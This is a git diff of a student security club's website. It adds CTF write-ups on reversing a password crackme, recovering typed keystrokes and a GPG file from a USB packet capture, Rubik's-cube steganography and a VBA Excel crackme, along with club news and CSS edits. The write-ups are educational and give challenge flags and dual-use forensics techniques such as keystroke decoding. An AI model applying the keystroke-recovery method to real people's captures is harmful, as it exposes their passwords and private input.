+0x6020e0 :   0xc550b65d      0xed393d86      0xc417dd7a      0x96681e07
+0x6020f0 :   0x1ae03766      0x52637a30      0x05718f9f      0x8c4c3973
+0x602100 :   0xcc581405      0xa2db617f      0x9993db2b      0xc7ebb606
+0x602110 :   0x182b63b3      0xaa4e0a50      0x8192d259      0x7ae97ae7
+0x602120 :   0xe479bea9      0x53e79c45      0x9c26894b      0x9ea75bf8
+0x602130 :   0xadf5e45d      0x41aede98      0xd230dd97      0xfb81fd17
+0x602140 :   0x4ac0d10a      0x735f3ee8      0xfcc0a13c      0x839c7ffd
+0x602150 :   0xff03fb9b      0x4be73391      0x00c93d31      0x00000000
+gdb-peda$ dump memory stuff.bin 0x602090 (0x602090 + 204)
+

This writes 204 bytes after 0x602090 to stuff.bin. I did the same thing for stuff2, and then wrote a C program to apply the xor operation and dump it back to disk. You can see the program here.

With that in hand, we were able to pull out a function that I wanted to decompile. While I would not recommend doing it this way, I wrote a Python program (which you can see here) that replaced the main() function of the original binary with the new function and dumped it to a new binary so I could load it into IDA:

Screenshot of new main injected into the program and decompiled by IDA Pro

While IDA didn’t do a great job parsing the function since it thought it was main, it showed us the logic. The function applies an xor to each byte with the loop counter plus 51, simple enough.

At this point, I had enough information to write another Python script (which you can see here) to build the password based on the test value it gets compared against. I extracted test using the same method I showed above for stuff, and did the following things:

  • Read in the test data
  • Undo the deobfuscated stuff function
  • Undo the 0x27 xor

That script provided this output:

$ ./solve.py 
+'1_hav3_1nf0rmat10n_that_w1ll_lead_t0_th3_arr3st\x1b0f_cspp3rstick6U'
+

There are some bad characters in here, which is due to some extra xors I didn’t want to mess with, so I just guessed and got lucky on what the password was supposed to be:

$ ./crackme
+Please enter the correct password.
+>1_hav3_1nf0rmat10n_that_w1ll_lead_t0_th3_arr3st_0f_c0pp3rstick6               
+Correct Password!
+

The flag is utflag{1_hav3_1nf0rmat10n_that_w1ll_lead_t0_th3_arr3st_0f_c0pp3rstick6}.

Some extra info:

If you wanted to analyze this dynamically, you would have had some trouble:

$ gdb crackme
+Reading symbols from crackme…(no debugging symbols found)…done.
+gdb-peda$ b *main
+Breakpoint 1 at 0x400af0
+gdb-peda$ r
+Starting program: /mnt/hgfs/sec/utctf19/crackme/crackme 
+[Thread debugging using libthread_db enabled]
+Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
+[Inferior 1 (process 5869) exited with code 01]
+Warning: not running or target is remote
+gdb-peda$ 
+

Why doesn’t our breakpoint get hit?

This is due to a sneaky move by the challenge author by putting a ptrace() call in a function called _csu_init(), which causes debugging to be unsuccessful. If there is more than one trace applied to the program, it exits:

Screenshot of IDA Pro decompilation of the function that calls ptrace

You can patch out the ptrace call with nops, which would allow you to dynamically analyze this. I patched the binary while I was working on the challenge, but ended up just doing it statically.

\ No newline at end of file diff --git a/static/blog/utctf-2019-rogue-leader-flags.png b/blog/utctf-2019-rogue-leader-flags.png similarity index 100% rename from static/blog/utctf-2019-rogue-leader-flags.png rename to blog/utctf-2019-rogue-leader-flags.png diff --git a/static/blog/utctf-2019-rogue-leader-flashdrive.png b/blog/utctf-2019-rogue-leader-flashdrive.png similarity index 100% rename from static/blog/utctf-2019-rogue-leader-flashdrive.png rename to blog/utctf-2019-rogue-leader-flashdrive.png diff --git a/static/blog/utctf-2019-rogue-leader-keyboard-presses.png b/blog/utctf-2019-rogue-leader-keyboard-presses.png similarity index 100% rename from static/blog/utctf-2019-rogue-leader-keyboard-presses.png rename to blog/utctf-2019-rogue-leader-keyboard-presses.png diff --git a/static/blog/utctf-2019-rogue-leader-texasflag.png b/blog/utctf-2019-rogue-leader-texasflag.png similarity index 100% rename from static/blog/utctf-2019-rogue-leader-texasflag.png rename to blog/utctf-2019-rogue-leader-texasflag.png diff --git a/static/blog/utctf-2019-rogue-leader-urb-bulk.png b/blog/utctf-2019-rogue-leader-urb-bulk.png similarity index 100% rename from static/blog/utctf-2019-rogue-leader-urb-bulk.png rename to blog/utctf-2019-rogue-leader-urb-bulk.png diff --git a/static/blog/utctf-2019-rogue-leader-wireshark.png b/blog/utctf-2019-rogue-leader-wireshark.png similarity index 100% rename from static/blog/utctf-2019-rogue-leader-wireshark.png rename to blog/utctf-2019-rogue-leader-wireshark.png diff --git a/blog/utctf-2019-rogue-leader/index.html b/blog/utctf-2019-rogue-leader/index.html new file mode 100644 index 0000000..4cf9a62 --- /dev/null +++ b/blog/utctf-2019-rogue-leader/index.html @@ -0,0 +1,81 @@ + +Codestin Search App

UTCTF 2019 - Rogue Leader

UTCTF 2019 - Rogue Leader

Andrew Quach

Tags

Problem Description

Our once-venerable president has committed the unspeakable crime of dine-and-dashing the pizza during our own club meetings. He’s on the run as we speak, but we’re not sure where he’s headed.

Luckily, he forgot that we had planted a packet sniffer on his laptop, and we were able to retrieve the following capture when we raided his apartment: [pcap].

He’s too smart to email his plans to himself, but I’m certain he took them with him somehow. Can you help us figure out which country he’s fleeing to?

Reconnaissance

Loading the file in Wireshark, we can clearly see that it is a USB packet capture. First thing is first, let’s figure out which devices were connected to the machine.

Screenshot of Wireshark listing USB traffic

Screenshot of Wireshark identifying a device as a flash drive

So, device 2 (with bus id 1) is a flash drive. Other notable devices include a gaming mouse (device 9, bus id 2), a keyboard (device 5, bus id 2), and a tablet (device 4, bus id 2).

Dumping the Flash Drive

Let’s try to find any files that have been transferred in/out of the flash drive. These packets will be rather large and have the URB_BULK in/out flags set. Filtering just by size nets us one of these packets.

Screenshot of Wireshark entry with URB_BULK out flag set

We can dump this data (File > Export packet bytes). This file turns out to be GPG encrypted data.

$ file raw.out
+raw.out: GPG symmetrically encrypted data (AES256 cipher)
+

Now that we have the encrypted file, a natural thing to look for is the password. We can try to get this password from the packets storing data about keyboard presses.

Recovering Key Presses

We can filter for packets with information about keyboard presses.

Screenshot of Wireshark USB packets with keyboard presses

The “Leftover Data Capture” looks something like this.

00000a0000000000
+0000000000000000
+0000130000000000
+

These 8 bytes include the scan code of the keyboard presses. Keyboard modifiers (ctrl, alt, shift) are stored in the first byte. Other key presses are stored in the third byte to the last byte.

[MODIFIER] [RESERVED] [KEY PRESS x6]
+

Let’s use tshark to dump out all the keyboard data. Note that we’ll filter out empty data.

$ tshark -r capture.pcapng -Y "((usb.transfer_type == 0x01) && !(usb.capdata == 00:00:00:00:00:00:00:00) && (usb.device_address == 5) && (usb.urb_type == 67))" -e "usb.capdata" -Tfields > keyboard.data
+$ head keyboard.data
+00:00:0a:00:00:00:00:00
+00:00:13:00:00:00:00:00
+00:00:0a:00:00:00:00:00
+00:00:0a:2c:00:00:00:00
+00:00:2c:00:00:00:00:00
+00:00:2d:00:00:00:00:00
+00:00:06:00:00:00:00:00
+00:00:2c:00:00:00:00:00
+00:00:09:00:00:00:00:00
+00:00:09:0f:00:00:00:00
+

We can use a python script to decode the key presses. I found a script online that does most of the work for me. I only changed it a little to fit my needs (e.g. adding more scan codes).

# Original Source: https://bitvijays.github.io/LFC-Forensics.html
+# More Scan Codes: https://gist.github.com/MightyPork/6da26e382a7ad91b5496ee55fdc73db2
+
+usb_codes = {
+        0x04:"aA", 0x05:"bB", 0x06:"cC", 0x07:"dD", 0x08:"eE", 0x09:"fF",
+        0x0A:"gG", 0x0B:"hH", 0x0C:"iI", 0x0D:"jJ", 0x0E:"kK", 0x0F:"lL",
+        0x10:"mM", 0x11:"nN", 0x12:"oO", 0x13:"pP", 0x14:"qQ", 0x15:"rR",
+        0x16:"sS", 0x17:"tT", 0x18:"uU", 0x19:"vV", 0x1A:"wW", 0x1B:"xX",
+        0x1C:"yY", 0x1D:"zZ", 0x1E:"1!", 0x1F:"2@", 0x20:"3#", 0x21:"4$",
+        0x22:"5%", 0x23:"6^", 0x24:"7&", 0x25:"8*", 0x26:"9(", 0x27:"0)",
+        0x2C:"  ", 0x2D:"-_", 0x2E:"=+", 0x2F:"[{", 0x30:"]}",  0x32:"#~",
+        0x33:";:", 0x34:"'\"",  0x36:",<",  0x37:".>", 0x38:"/?", 0x4f:">",
+        0x50:"<"
+        }
+
+lines = ['']
+
+pos = 0
+for x in open("keyboard.data","r").readlines():
+    x = x.split(':')
+    code = int(x[2], 16)
+
+    if code == 0:
+        continue
+
+    # 0x51 -> Keyboard Down
+    # 0x28 -> Enter;
+    if code == 0x51 or code == 0x28:
+        pos += 1
+
+        if pos > len(lines)-1:
+            lines.append('')
+        continue
+
+    # 0x52 -> Keyboard Up;
+    if code == 0x52:
+        pos -= 1
+        continue
+
+    # Shift modifier
+    if int(x[0],16) == 2:
+        lines[pos] += usb_codes[code][1]
+    else:
+        lines[pos] += usb_codes[code][0]
+
+for x in lines:
+    print(x)
+

The output of this is:

$ python decode.py
+gpgg -c fflaagss.ppng
+utNOTflag{try_haardeer}
+utNOTflag{try_hardeer}
+cp flaggs.png.gpg /media/usserr/USB/
+

Although there are some duplicated letters, we can still see the password is +utNOTflag{try_harder}. We can now decrypt the file we found before.

$ gpg -o flags.png -d raw.out
+ <type utNOTflag{try_harder} twice>
+$ file flags.png
+ flags.png: PNG image data, 112 x 163, 8-bit/color RGBA, non-interlaced
+

And we get flags.png!

Picture of United Nations country flags

Last Steps Before (getting the flag)

Now that we have flags.png, perhaps the flag is hidden with some steganography techniques. After fiddling around with it, we find that another image is hidden in the LSB of flags.png. Using an online tool, we get the hidden image.

Picture of the state of Texas overlaid with the Texan flag and the CTF flag

Flag: utflag{t3x45_1s_my_f4v0r1te_c0untry}

\ No newline at end of file diff --git a/static/blog/utctf-2019-scrambled-challenge-description.png b/blog/utctf-2019-scrambled-challenge-description.png similarity index 100% rename from static/blog/utctf-2019-scrambled-challenge-description.png rename to blog/utctf-2019-scrambled-challenge-description.png diff --git a/static/blog/utctf-2019-scrambled-format1.png b/blog/utctf-2019-scrambled-format1.png similarity index 100% rename from static/blog/utctf-2019-scrambled-format1.png rename to blog/utctf-2019-scrambled-format1.png diff --git a/static/blog/utctf-2019-scrambled-format2.png b/blog/utctf-2019-scrambled-format2.png similarity index 100% rename from static/blog/utctf-2019-scrambled-format2.png rename to blog/utctf-2019-scrambled-format2.png diff --git a/static/blog/utctf-2019-scrambled-hint.png b/blog/utctf-2019-scrambled-hint.png similarity index 100% rename from static/blog/utctf-2019-scrambled-hint.png rename to blog/utctf-2019-scrambled-hint.png diff --git a/static/blog/utctf-2019-scrambled-msg-encoding.png b/blog/utctf-2019-scrambled-msg-encoding.png similarity index 100% rename from static/blog/utctf-2019-scrambled-msg-encoding.png rename to blog/utctf-2019-scrambled-msg-encoding.png diff --git a/static/blog/utctf-2019-scrambled-new-encoding.png b/blog/utctf-2019-scrambled-new-encoding.png similarity index 100% rename from static/blog/utctf-2019-scrambled-new-encoding.png rename to blog/utctf-2019-scrambled-new-encoding.png diff --git a/static/blog/utctf-2019-scrambled-rubiks-rotations.png b/blog/utctf-2019-scrambled-rubiks-rotations.png similarity index 100% rename from static/blog/utctf-2019-scrambled-rubiks-rotations.png rename to blog/utctf-2019-scrambled-rubiks-rotations.png diff --git a/blog/utctf-2019-scrambled/index.html b/blog/utctf-2019-scrambled/index.html new file mode 100644 index 0000000..c871e45 --- /dev/null +++ b/blog/utctf-2019-scrambled/index.html @@ -0,0 +1,15 @@ + +Codestin Search App

UTCTF 2019 - Scrambled

UTCTF 2019 - Scrambled

Zander Work

Tags

Tl;dr Cool encoding using Rubik’s cube, I wrote a Python script.

This was a 1250 point Forensics challenge (highest points in the category). Here’s the description:

Scrambled challenge description

By the time I took a look at the challenge, they had released a hint as well:

Scrambled hint

Based on the hint, I quickly discovered that the challenge description described ways of manipulating a Rubik’s Cube:

Rubik&rsquo;s Cube face rotations

Googling the hint (“rubikstega”) leads to a paper entitled “Rubikstega: A Novel Noiseless Steganography Method in Rubik’s Cube” (link). After skimming through the paper, it became clear that this was the method used to encode the message, so I got reading.

Here’s how the encoding works (at a high level, I’ll break it down more as I go through the challenge):

  • Each message has 3+ “scrambles”.
    • The first scramble provides a permutation value
    • The second provides the length of the message
    • The rest of the scrambles make up the message
  • The encoding uses base 9 in order to encode messages. Since there are 18 possible moves, there are two moves for each base 9 value:

From page 4 of the Rubikstega paper

Let’s take a look at the first scramble. This will eventually yield a permutation value (P) that is used to mutate the default message encoding table for the rest of the scrambles.

B2 R U F’ R’ L’ B B2 L F D D’ R’ F2 D’ R R D2 B’ L R
+
+Scramble 1
+

Scramble 1 format (from page 5 of the Rubikstega paper)

  1. First, we translate each move to a Base-9 value using the default encoding table. This gives us:
    • 512676150038748115801
  2. Then, we convert that Base-9 value to Base-10. This gives us:
    • 62553673461870258607
  3. Now we can extract the permutation value. The first digit (i) is 6, so we skip 6 more digits and then take the next 9. This gives us P:
    • 346187025

Now that we have the permutation value, we can modify the original encoding table for the rest of the scrambles:

New message encoding table (based on P value from scramble 1)

Now we can take a look at scramble 2. This will eventually yield the message length for the rest of the scrambles.

L’ L B F2 R2 F2 R’ L F’ B’ R D’ D’ F U2 B’ U U D’ U2 F’
+
+Scramble 2
+

Scramble 2 format (from page 6 of the Rubikstega paper)

  1. First, we translate each move to Base-9 using the new encoding table that we created using P. This gives us:
    • 263101562434461477412
  2. Next, we convert that Base-9 value to Base-10. This gives us:
    • 32887738540626863753
  3. The first digit is j, and the second digit is k. Therefore:
    • j = 3, and k = 2
  4. We get the start of the length by doing:
    • 2+j+1 = 2+3+1 = 6
  5. We get the end of the lengthy by doing:
    • 2+j+k = 2+3+2 = 7
  6. We take the Base-10 value as a string, and the numbers between indexes 6 and 7 are the length. Therefore:
    • The message length is 73

Now we know we need to take 73 moves from the third scramble to decode our flag.

L F’ F2 R B R R F2 F’ R2 D F’ U L U’ U’ U F D F2 U R U’ F U B2 B U2 D B F2 D2 L2 L2 B’ F’ D’ L2 D U2 U2 D2 U B’ F D R2 U2 R’ B’ F2 D’ D B’ U B’ D B’ F’ U’ R U U’ L’ L’ U2 F2 R R F L2 B2 L2 B B’ D R R’ U L
+
+Scramble 3 (in it’s entirety, ~80 moves)
+
  1. First, we translate each move to Base-9 using the new encoding table again. This gives us:
    • 6213333120027655760173567831031877424701187460015414047404253752211336787
  2. Then, you convert that to binary (Base-2). This gives us:
    • 111010101110100011001100110110001100001011001110… (you get the point)
  3. Then you pad it with 0s at the beginning so you have equal blocks of 8. I won’t dump all that binary again, but you need one 0 at the beginning.
  4. Then, you break it into blocks of 8 and convert to ASCII. This gives us the flag.

At first I did this by hand, but I messed up somewhere and wasn’t able to get the proper ASCII values so I wrote a Python script, which you can see here. Definitely wouldn’t recommend trying to do this by hand.

The flag is utflag{my_bra1n_1s_scrambl3d}.

\ No newline at end of file diff --git a/static/blog/volgactf-excellent-crackme-function.png b/blog/volgactf-excellent-crackme-function.png similarity index 100% rename from static/blog/volgactf-excellent-crackme-function.png rename to blog/volgactf-excellent-crackme-function.png diff --git a/static/blog/volgactf-excellent-crackme-macros.jpg b/blog/volgactf-excellent-crackme-macros.jpg similarity index 100% rename from static/blog/volgactf-excellent-crackme-macros.jpg rename to blog/volgactf-excellent-crackme-macros.jpg diff --git a/static/blog/volgactf-excellent-crackme-matrix.png b/blog/volgactf-excellent-crackme-matrix.png similarity index 100% rename from static/blog/volgactf-excellent-crackme-matrix.png rename to blog/volgactf-excellent-crackme-matrix.png diff --git a/static/blog/volgactf-excellent-crackme-spreadsheet.jpg b/blog/volgactf-excellent-crackme-spreadsheet.jpg similarity index 100% rename from static/blog/volgactf-excellent-crackme-spreadsheet.jpg rename to blog/volgactf-excellent-crackme-spreadsheet.jpg diff --git a/static/blog/volgactf-excellent-crackme.jpg b/blog/volgactf-excellent-crackme.jpg similarity index 100% rename from static/blog/volgactf-excellent-crackme.jpg rename to blog/volgactf-excellent-crackme.jpg diff --git a/blog/volgactf-excellent-crackme/index.html b/blog/volgactf-excellent-crackme/index.html new file mode 100644 index 0000000..daf04ba --- /dev/null +++ b/blog/volgactf-excellent-crackme/index.html @@ -0,0 +1,29 @@ + +Codestin Search App

VolgaCTF - excellent-crackme

VolgaCTF - excellent-crackme

Lyell Read

Tags

The VolgaCTF logo

Prompt

Excellent Crackme We know one can do pretty much everything in Excel spreadsheets, but this…

excel_crackme

Solution

An excel challenge – that’s a first for us! Let’s crack that file open. We used LibreOffice, as Excel was not installed and Libreoffice was. Upon opening, we are greeted with a message that mentions that macros will not be run for security reasons. we’ll look into that in a sec, thank you, LibreOffice.

Firstly, let’s look at the spreadsheet:

Screenshot of the spreadsheet

Nice colors. We see an entry box, and what looks like a submit box. The first thing we did was select all cells, and change text color to not yellow, on a hunch that there is hidden text or data somewhere in the sheet. There is, though we did not find it at first.

Under Tools > Macros > Edit Macros, we can see the following:

Screenshot of the spreadsheet&rsquo;s macros

This looks like slightly obfuscated VPA (Visual Basic for Applications). On further inspection, it appears that everything listed under Module1 is the same file, just different functions. Therefore, we extract VolgaCTF into VolgaCTFRaw.bas.

Then, we began manually deobfuscating it, renaming variables and indenting appropriately. We needed not get further than the first function (fine, subroutine) VolgaCTF() to undstand what is going on. Here is that function (deobfuscated):

Private Sub VolgaCTF()
+	Dim string_1 As String
+	Dim long_1 As Long
+	Dim long_2 As Long
+	Dim long_3 As Long
+	string_1 = Range(Chr(76) & Chr(&H31) & Chr(Int("53")))
+	For idx_outer = 1 To Len(string_1)
+		long_1 = 0
+		For idx = 1 To Len(string_1)
+			long_2 = CInt(Cells(99 + idx_outer, 99 + idx).Value)
+			middle = Mid(string_1, idx, 1)
+			long_1 = long_1 + long_2 * Asc(middle)
+		Next idx
+		long_3 = CLng(Cells(99 + idx_outer, 99 + Len(string_1) + 1).Value)
+		If (long_3 <> long_1) Then
+			MsgBox Func5(Chr(350416 / 2896) & Chr(Int("114")) & Chr(Int("&H72")) & Chr(Int("57")) & Chr(&H56) & Chr(&H75) & "q" & Chr(Int("113")) & Chr(4751 - 4652) & Chr(Int("69")) & Chr(&H54) & Chr(&H67) & Chr(Int("&H59")) & Chr(102) & "V" & Chr(Int("86")))
+			Exit Sub
+		End If
+	Next idx_outer
+
+	MsgBox Func5(Chr(Int("109")) & "q" & Chr(Int("49")) & Chr(Int("57")) & Chr(&H56) & Chr(&H65) & Chr(76) & Chr(Int("112")) & Chr(Int("86")) & "F" & Chr(Int("114")) & Chr(-343 + 395) & Chr(&H32) & Chr(72) & Chr(Int("&H31")) & Chr(100))
+End Sub
+

This can be better understood with VBScript syntax highlighting:

Screenshot of the VolgaCTF() function

Firstly, some local variables are defined (long_1, long_2, long_3). Then string_1 is set to the Range() of Chr(76) & Chr(&H31) & Chr(Int("53")). This becomes Range("L" & "1" & "5") (note that &H31 == 0x31 and elsewhere, the & operator is concatenation). Therefore, this becomes Range(L15) – this is where the text is entered in the Excel sheet, so string_1 is the user input.

Therefore, the outer loop iterates over the length of user input. We then identified that the first call to MsgBox is the one that issues the failure message, and the final one was the success message. We only fail if long_3 != long_1.

long_1 is set by repeating for each character in input string, adding the value of the cell at 99 + idx_outer, 99 + idx multiplied by the ascii value of the current character (at idx).

long_3 is set by long_3 = CLng(Cells(99 + idx_outer, 99 + Len(string_1) + 1).Value) which takes the value of cell 99 + idx_outer, 99 + Len(string_1) + 1. Knowing this, we looked at what data is in the sheet around 100,100:

Screenshot of spreadsheet matrix

The last column is the ‘vector’ while the rest is the ‘matrix’. The code is essentially taking the dot product of the two. We can undo the operations done, and get the ascii value of the characters of the flag by performing matrix\vector in sage. Here is the sage script.

VolgaCTF{7h3_M057_M47h_cr4ckM3_y0u_3V3R_533N}
+

~Lyell Read, Phillip Mestas, Lance Roy

\ No newline at end of file diff --git a/blog/welcome-to-damctf/index.html b/blog/welcome-to-damctf/index.html new file mode 100644 index 0000000..177eda1 --- /dev/null +++ b/blog/welcome-to-damctf/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Welcome to DamCTF

Welcome to DamCTF

Zander Work

Tags

shamir_babytcache101

\ No newline at end of file diff --git a/blog/welcome-to-winter-2019/index.html b/blog/welcome-to-winter-2019/index.html new file mode 100644 index 0000000..3b04f30 --- /dev/null +++ b/blog/welcome-to-winter-2019/index.html @@ -0,0 +1,11 @@ + +Codestin Search App

Welcome to Winter 2019!

Welcome to Winter 2019!

Zander Work

Tags

Happy New Years! Our first meeting will be this Thursday at 7pm in KEC1003, and we will be meeting at the same time/place the whole term.

Some things to look forward to for this term:

I’m working with NetSPI to have them come back with a more technical presentation and hopefully some labs, so that will be awesome.
+PRCCDC is in March, with qualifiers in Februrary, so we will be working on putting together a team for that. I will be talking about this more at this week’s meeting, so please make sure you are there if you’re interested in participating (if you can’t make it and are interested in participating, email me!)
+    For more info on PRCCDC, see this: [http://prccdc.org/](http://prccdc.org/)
+PEUx5.5 is being held at Northeastern University in Seattle Feb. 1-2. We won’t be travelling as a club/team to that event, but it’s an awesome cybersecurity event that you should check out
+    For more info on PEUx5.5, see this: [https://www.pnnl.gov/nationalsecurity/technical/capabilities/computing/peu.stm](https://www.pnnl.gov/nationalsecurity/technical/capabilities/computing/peu.stm)
+

Let me know if you have any questions! Thank you, and I hope to see you all on Thursday

\ No newline at end of file diff --git a/blog/wwt-blue-team.jpg b/blog/wwt-blue-team.jpg new file mode 100644 index 0000000..4357433 Binary files /dev/null and b/blog/wwt-blue-team.jpg differ diff --git a/blog/wwt-blue-team/index.html b/blog/wwt-blue-team/index.html new file mode 100644 index 0000000..ede996f --- /dev/null +++ b/blog/wwt-blue-team/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

WWT Blue Team CyberRange

WWT Blue Team CyberRange

Casey Colley

Tags

Final scoreboard of WWT Blue Team CyberRange event.

Last Thursday, OSUSEC assembled a team of 4 students to compete in WWT’s fantastic blue team CyberRange! We had a ton of fun and are very proud to announce that we placed 3rd, going up against a mixture of teams including those from federal agencies & Fortune 500 companies! We played from 3pm to 3am the next morning, all in one shot. The crash afterwards was not pleasant but it was still worth it – incident response and cyber competitions take on a wilder and much more creative tone when it’s an odd hour in the morning.

One such response was when they compromised and defaced our website. We knew there had to be some vulnerability we overlooked in the website and that it relied on poor access controls to function. We didn’t have enough time to figure out exactly how. So, why do that, when one can simply hamstring their permissions? This creative, spur of the moment solution, along with a tiny little chmod, paid credence to a very important blue team tenet: containment of the threat before all else.

Overall, we had a ton of fun and we’re super excited to change teams for WWT’s red teaming event October!

GO BEAVS!

\ No newline at end of file diff --git a/blog/wwt-red-team-dns.png b/blog/wwt-red-team-dns.png new file mode 100644 index 0000000..e4fba7a Binary files /dev/null and b/blog/wwt-red-team-dns.png differ diff --git a/blog/wwt-red-team.jpg b/blog/wwt-red-team.jpg new file mode 100644 index 0000000..2dc7758 Binary files /dev/null and b/blog/wwt-red-team.jpg differ diff --git a/blog/wwt-red-team/index.html b/blog/wwt-red-team/index.html new file mode 100644 index 0000000..499e640 --- /dev/null +++ b/blog/wwt-red-team/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

WWT Red Team CyberRange

WWT Red Team CyberRange

Casey Colley

Tags

Picture of the competition scoreboard.

Last Thursday, we entered two teams into WWT’s red team CyberRange! The competition tasked us with breaking into the infrastructure of a fake ransomware group. Aside from an engaging and topical theme, it gave us a chance to put our offensive skills to the test as we exploited Windows machines, achieved remote code execution via PHP, pivoted around their environment, and lost our sanity to DNS.

Our teams were able to bring home 2nd and 4th place out of 18 teams total, with several other universities competing. Great work everyone!

\ No newline at end of file diff --git a/static/calendar.jpg b/calendar.jpg similarity index 100% rename from static/calendar.jpg rename to calendar.jpg diff --git a/calendar/index.html b/calendar/index.html new file mode 100644 index 0000000..0843c06 --- /dev/null +++ b/calendar/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Calendar

\ No newline at end of file diff --git a/static/caseyhates.css b/caseyhates.css similarity index 82% rename from static/caseyhates.css rename to caseyhates.css index 439149f..e862874 100644 --- a/static/caseyhates.css +++ b/caseyhates.css @@ -106,13 +106,14 @@ body { color: white; } -.sli-button { +.sli-button, .blog-button { background-color: var(--primary-color); } -.sli-button:hover { +.sli-button:hover, .blog-button:hover { background-color: var(--secondary-color); + color:white; } .discord-button { @@ -189,35 +190,37 @@ body { } } -.infopage-content > p > a, .infopage-content>ul>li>a, .infopage-content>ol>li>a { +.infopage-content a, .blogcard-content a { text-decoration: none; color: var(--primary-color); } -.infopage-content > p > a:hover { +.infopage-content a:hover, .blogcard-content a:hover, .blogcard-title:hover { + text-decoration: none; color: var(--secondary-color); } -.infopage-content>h1, .infopage-content>h2, .infopage-content>h3, .infopage-content>h4, .infopage-content>h5 { +.infopage-content h1, .infopage-content h2, .infopage-content h3, .infopage-content h4, .infopage-content h5 +.blogcard-content h1, .blogcard-content h2, .blogcard-content h3, .blogcard-content h4, .blogcard-content h5 { color: var(--subheading-color); } -.infopage-content>p { +.infopage-content p, .blogcard-content p { color: var(--text-color); } -.infopage-content>p>img, .infopage-content>iframe { +.infopage-content img, .infopage-content iframe, .blogcard-content img { max-width: 100%; margin: auto; display: block; } -.infopage-content>embed { +.infopage-content embed { width: 100%; height: 100vh; } -.infopage-content>ul, .infopage-content>ol { +.infopage-content ul, .infopage-content ol { color: var(--text-color); } @@ -232,15 +235,6 @@ body { width: 100%; } -.blogcard-content>p>a { - text-decoration: none; - color: var(--primary-color); -} - -.blogcard-content>p>a:hover { - text-decoration: none; - color: var(--secondary-color); -} .blogcard-title { text-decoration: none; @@ -249,12 +243,8 @@ body { font-weight: 600; } -.blogcard-title:hover { - text-decoration: none; - color: var(--secondary-color); -} -.blogcard-content>time, .blog-subtext { +.blog-subtext { color: var(--mutedtext-color); font-size: 0.9rem; } @@ -305,3 +295,25 @@ body { .blog-content-text { margin-top: 2rem; } + +.latest-blogposts-title { + padding: 2.5rem 0 1.5rem 0; +} + +.latest-blogposts { + background: #f0f0f0; +} + +.blog-button { + height: auto; + min-width: 10vw; + font-family: "Open Sans", sans-serif; + font-size: .85rem; + font-weight: 400; + padding: .65rem 2rem; + line-height: 1.6rem; + color: white; + text-transform: uppercase; + + margin: 1.5rem 0 2.5rem 0; +} diff --git a/categories/club-news/index.html b/categories/club-news/index.html new file mode 100644 index 0000000..01c963f --- /dev/null +++ b/categories/club-news/index.html @@ -0,0 +1,7 @@ + +Codestin Search App

Club News

Members of OSUSEC’s CDC Team holding the travelling trophy

PRCCDC 2024

We are delighted to announce that OSUSEC’s Cyber Defense team won first place in PRCCDC 2024 last week!! This is our third year in a row, and we’re really looking forward to competing in …

Read More

The EFF logo printed on an illustrated lighthouse in a background of blue.

Electronic Frontier Alliance

As OSUSEC moves into 2024 and beyond, we are taking a closer look at how our actions shape the world around us. Because of this, we are choosing to endorse the Electronic Frontier Alliance’s …

Read More

Photo of OSUSEC members on the CDC team

Cyberforce 2023

Last weekend, OSUSEC’s cyberdefense team flew out to Chicago to compete in the Department of Energy’s Cyberforce Competition! For 4 out of 6 members of the team, this was their very first …

Read More

Picture of the competition scoreboard.

WWT Red Team CyberRange

Last Thursday, we entered two teams into WWT’s red team CyberRange! The competition tasked us with breaking into the infrastructure of a fake ransomware group. Aside from an engaging and topical …

Read More

Photo of 9 OSUSEC students and Terry Boedeker (topmost)

Armis Workshop

Last Friday night, we were very fortunate to host Terry Boedeker of Armis to discuss IoT security in preparation for Cyberforce next weekend!

He talked about the importance of cyber-physical security …

Read More

Final scoreboard of WWT Blue Team CyberRange event.

WWT Blue Team CyberRange

Last Thursday, OSUSEC assembled a team of 4 students to compete in WWT’s fantastic blue team CyberRange! We had a ton of fun and are very proud to announce that we placed 3rd, going up against a …

Read More

OSUSEC’s CDC team in the competition room on day 2

NCCDC 2023

The last weekend of April, OSUSEC’s Cyber Defense team competed in NCCDC, the National Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks …

Read More

The club's new 6 officers in front of screens and a whiteboard

2023-2024 OSUSEC Officers Selected

This year’s elections were intense; every candidate was subjected to memes, music, and whiteboard art that led to a lot of laughs and a lot of great people elected. Without further adieu, here are …

Read More

Members of OSUSEC’s CDC Team

PRCCDC 2023

This past weekend, OSUSEC’s Cyber Defense team competed in PRCCDC, our regional Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks full of …

Read More

Members of OSUSEC’s CDC Team and chaperone Emily Longman

Cyberforce Competition 2022

This past weekend, OSUSEC’s Cyberdefense Competition team flew out to Chicago, IL to compete in the Department of Energy’s Cyberforce Competition! We were tasked with securing and administering a …

Read More

OSUSEC members pose on stage after their first-place win being announced.

BSidesPDX 2022

Howdy Hackers! This Friday, a group of OSUSEC members took a day trip up to Portland to attend BSidesPDX 2022 and compete in their CTF. We had an absolute blast, winning first place in the CTF, …

Read More

2022-2023 OSUSEC Officers Decided

The votes are in! After an entertaining election with some contested positions and contestants running from the floor, the officers for the next academic year, 2022-2023.

President: Cameron McCawley …

Read More

NSA Codebreaker Challenge logo

NSA Codebreaker Challenge 2021

On January 4th, 2021, OSUSEC finished 3rd place with 133,337 points at the NSA Codebreaker Challenge. 189 OSU students and OSUSEC members solved at least one of the 11 tasks, and 5 OSU students and …

Read More

Cyberforce Competition logo

DOE Cyberforce Competition 2021

On Nov. 13, 2021, the OSUSEC Cyber Defense Competition (CDC) Team placed 1st place regionally and 7th nationwide in the Department of Energy’s annual Cyberforce Competition ( …

Read More

2021-2022 OSUSEC Officers Decided

For the coming school year, we welcome in 8 officers, in the following positions:

  • President: Lyell Read
  • Vice President: Zach Taylor
  • Treasurer: Mike Carris
  • Lab Manager: Cameron McCawley
  • Community …

Read More

Thank You

Being your club president for the last 3 years has been an incredible experience. Back in Fall 2017 when I first came to OSU, the club had maybe 20-30 members and wasn’t involved in CTF or CDC at all. …

Read More

PRCCDC 2020 Results

Due to the current COVID-19 pandemic, the in-person Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) was unfortunately cancelled. However, PRCCDC, working in combination with NCCDC, allowed …

Read More

Officer Elections on 3/12

